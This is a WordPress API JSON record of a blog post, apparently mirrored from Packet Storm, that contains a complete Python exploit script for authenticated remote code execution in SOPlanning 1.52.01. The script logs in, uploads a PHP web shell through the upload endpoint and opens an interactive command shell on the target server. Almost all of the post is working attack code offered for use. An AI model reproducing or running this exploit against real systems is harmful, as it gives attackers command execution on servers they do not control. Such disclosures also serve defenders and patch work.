{"id":60395,"date":"2024-11-19T01:32:09","date_gmt":"2024-11-18T22:32:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182686\/soplanning15201-exec.txt"},"modified":"2024-11-19T01:32:09","modified_gmt":"2024-11-18T22:32:09","slug":"soplanning-1-52-01-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/soplanning-1-52-01-remote-code-execution\/","title":{"rendered":"SOPlanning 1.52.01 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: SOPlanning 1.52.01 (Simple Online Planning Tool) &#8211; Remote Code Execution (RCE) (Authenticated)<br \/># Date: 6th October, 2024<br \/># Exploit Author: Ardayfio Samuel Nii Aryee<br \/># Version: 1.52.01 <br \/># Tested on: Ubuntu<\/p>\n<p>import argparse<br \/>import requests<br \/>import random<br \/>import string<br \/>import urllib.parse<\/p>\n<p>def command_shell(exploit_url):<br \/>commands = input(&#8220;soplaning:~$ &#8220;)<br \/>encoded_command = urllib.parse.quote_plus(commands)<\/p>\n<p>command_res = requests.get(f&#8221;{exploit_url}?cmd={encoded_command}&#8221;)<br \/>if command_res.status_code == 200:<br \/>print(f&#8221;{command_res.text}&#8221;)<br \/>return<br \/>print(f&#8221;Error: An erros occured while running command: {encoded_command}&#8221;)<\/p>\n<p>def exploit(username, password, url):<br \/>target_url = f&#8221;{url}\/process\/login.php&#8221;<br \/>upload_url = f&#8221;{url}\/process\/upload.php&#8221;<br \/>link_id = &#8221;.join(random.choices(string.ascii_lowercase + string.digits, k=6))<br \/>php_filename = f&#8221;{&#8221;.join(random.choices(string.ascii_lowercase + string.digits, k=3))}.php&#8221;<\/p>\n<p>login_data = {&#8220;login&#8221;:username,&#8221;password&#8221;:password}<br \/>res = requests.post(target_url, data=login_data, allow_redirects=False)<\/p>\n<p>cookies = res.cookies<\/p>\n<p>multipart_form_data = {<br \/>&#8220;linkid&#8221;: link_id,<br \/>&#8220;periodeid&#8221;: 0,<br \/>&#8220;fichiers&#8221;: php_filename,<br \/>&#8220;type&#8221;: &#8220;upload&#8221;<br \/>}<\/p>\n<p>web_shell = &#8220;&lt;?php system($_GET[&#8216;cmd&#8217;]); ?&gt;&#8221;<\/p>\n<p>files = {<br \/>&#8216;fichier-0&#8217;: (php_filename, web_shell, &#8216;application\/x-php&#8217;)<br \/>}<br \/>upload_res = requests.post(upload_url, cookies=cookies,files=files, data=multipart_form_data)<\/p>\n<p>if upload_res.status_code == 200 and &#8220;File&#8221; in upload_res.text:<br \/>print(f&#8221;[+] Uploaded ===&gt; {upload_res.text}&#8221;)<br \/>print(&#8220;[+] Exploit completed.&#8221;)<br \/>exploit_url = f&#8221;{url}\/upload\/files\/{link_id}\/{php_filename}&#8221;<br \/>print(f&#8221;Access webshell here: {exploit_url}?cmd=&lt;command&gt;&#8221;)<\/p>\n<p>if &#8220;yes&#8221; == input(&#8220;Do you want an interactive shell? (yes\/no) &#8220;):<br \/>try:<br \/>while True:<br \/>command_shell(exploit_url)<br \/>except Exception as e:<br \/>raise(f&#8221;Error: {e}&#8221;)<br \/>else:<br \/>pass<\/p>\n<p>def main():<br \/>parser = argparse.ArgumentParser(prog=&#8221;SOplanning RCE&#8221;, \\<br \/>usage=f&#8221;python3 {__file__.split(&#8216;\/&#8217;)[-1]} -t http:\/\/example.com:9090 -u admin -p admin&#8221;)<\/p>\n<p>parser.add_argument(&#8220;-t&#8221;, &#8220;&#8211;target&#8221;, type=str, help=&#8221;Target URL (e.g., http:\/\/localhost:8080)&#8221;, required=True)<br \/>parser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;username&#8221;,type=str,help=&#8221;username&#8221;, required=True)<br \/>parser.add_argument(&#8220;-p&#8221;, &#8220;&#8211;password&#8221;,type=str,help=&#8221;password&#8221;, required=True)<\/p>\n<p>args = parser.parse_args()<\/p>\n<p>exploit(args.username, args.password, args.target)<\/p>\n<p>main()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: SOPlanning 1.52.01 (Simple Online Planning Tool) &#8211; Remote Code Execution (RCE) (Authenticated)# Date: 6th October, 2024# Exploit Author: Ardayfio Samuel Nii Aryee# Version: 1.52.01 # Tested on: Ubuntu import argparseimport requestsimport randomimport stringimport urllib.parse def command_shell(exploit_url):commands = input(&#8220;soplaning:~$ &#8220;)encoded_command = urllib.parse.quote_plus(commands) command_res = requests.get(f&#8221;{exploit_url}?cmd={encoded_command}&#8221;)if command_res.status_code == 200:print(f&#8221;{command_res.text}&#8221;)returnprint(f&#8221;Error: An erros occured while running &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60395","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60395","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60395"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60395\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60395"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60395"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60395"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}